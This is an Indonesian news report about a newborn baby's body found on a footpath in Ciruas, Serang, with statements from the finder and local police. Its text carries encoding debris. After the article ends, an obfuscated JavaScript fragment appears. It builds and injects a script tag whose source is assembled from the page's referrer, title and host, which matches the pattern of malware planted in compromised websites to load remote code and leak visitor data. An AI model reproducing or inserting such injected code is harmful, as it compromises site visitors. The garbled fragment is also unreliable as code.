SERANG – Sesosok mayat bayi ditemukan olehA�Marni, warga Kampung Prisen, Kecamatan Walantaka, di jalan setapak yang menghubungkan kampung Prisen dengan komplek Taman Ciruas Permai (TCP) pagi tadi sekira pukul 07:00.

Menurut keterangan yang dihimpun, Marni menemukan bayi malang tersebut saat berangkat bekerja ke salah satu klinik yang berada di bilangan Ciruas.A�Ditengah jalan Marni kagetA�saat melihat sosok bayi tergeletak diantara rerumputan tersebut.

Warga Komplek TCP, Dsesa A�Plawad, Kecamatan Ciruas geger akibat penemuan mayaA�bayi yang belakangan diketahui berjenis kelamin laki-laki tersebut.

Menurut Kapolsek Ciluas Kompol Arif Kurniawan, saat ini pihaknya masih menyelediki perkara tersebut. “Identitas dari ibu bayi belum kita ketehaui, kita masih melakukan penyidikan,” ujarnya, Selasa, 19 April 2016.

Diperoleh keterangan, bayi yang sudah tak bernyawa tersebut ditemukan oleh Marni masih lengkap dengan ari-arinya, karena kaget, Marni lari kepada warga, dan kemudian hal tersebut dilaporkan ke Mapolsek Ciruas.

Dibantu petugas Reskrim Polres Serang dan tim forensik RSUD Drajat Prawiranegara, mayat bayi langsung dibawa ke rumah sakit. Sementara disekitar lokasi temu mayat, di garis kuning.

Melihat darah yang belum mengering, sejumlah warga menduga bayi malang ini lahir antara pukul 05.00 – 06.00 WIB. Dari ceceran darah yang ditemukan sepanjang sekitar 100 meter, diduga ibu si bayi berjalan kaki dan sempat berusaha menahan kelahiran bayi.(yan/cing) =d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}